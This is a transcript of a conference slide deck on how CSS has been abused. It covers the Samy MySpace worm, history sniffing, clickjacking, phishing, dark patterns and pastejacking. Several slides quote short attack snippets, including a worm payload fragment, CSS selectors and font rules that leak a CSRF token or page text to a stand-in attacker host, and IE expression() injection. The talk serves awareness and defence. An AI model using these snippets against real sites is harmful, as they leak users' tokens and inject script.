CSS For Good, Not Evil

Transcript

1. CSS For Evil, Not Good. How style has been used

   to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
2. None
3. None

4. catawiki.com/jobs

5. MySpace

6. None
7. None
8. None

9. Samy

10. In a relationship.

11. In a relationship. hot

12. None

13. but most of all, Samy is 
 my hero By

    vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303

14. <div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html

15. WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever

16. Samy didn’t have 
 evil intentions.

17. I’m not a security expert.

18. None

19. There are different levels of evil.

20. Level 1: Getting some 
 browsing history.

21. weirdbutdead.com

22. weirdbutdead.com getComputedStyle

23. Boolean algebra & mix-blend-mode

24. http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/

25. Level 2 Mathias Bynens’ Evil Basement of Horrors

26. Some Belgian kid 
 did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015

27. Stealing DOM data

28. <input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }

    #csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.

29. Text-symbol leaking

30. <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {

    font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }

31. Forcing IE=7 Expressions

32. .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta

    http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>

33. Level 3 Path-relative 
 stylesheet import http://blog.portswigger.net/2015/02/prssi.html

34. http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *

    { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/

35. Level 4 Content replacement

36. <style> nav {display: none;} </style> <div style”[various styles]”> Content </div>

37. Oops: allow users to add <style>

38. Allow users to add classes. Oops.

39. Allow users to add classes. Oops.

40. Level 5 UI Redressing “Clickjacking”

41. LinkedIn

42. .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;

    top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }

43. {"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015

44. None

45. Level 6 Phishing

46. https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/

47. None
48. None

49. One thing going for us, at least for now: most

    scammers aren’t great designers.

50. “Good” design works. Even for evil.

51. Level 7 Dark Patterns Black Hat UX

52. Sophisticated deceivers seem knowledgable about behaviour as well as technology.

53. None

54. Image: https://www.brignull.com/

55. None
56. None

57. “Roach Motel”

58. Unsubscribe…

59. None
60. None
61. None

62. Misdirection

63. None
64. None
65. None
66. None

67. Confirmation of 
 desired behaviour

68. Yes | No Yes | Not right now Yes |

    Maybe later There is a significant difference between these sets of choices.

69. Exploiting 
 behavioural patterns

70. None

71. People who stand to gain something from you have motive

    to deceive.

72. Level 8 Command execution 
 on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html

73. None
74. None

75. When systems become more complex, the number of possible weaknesses

    can increase, yet become less apparent.

76. What’s the
 takeaway here? Nothing.

77. Is there a 
 positive message? No.

78. Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”

    Bynens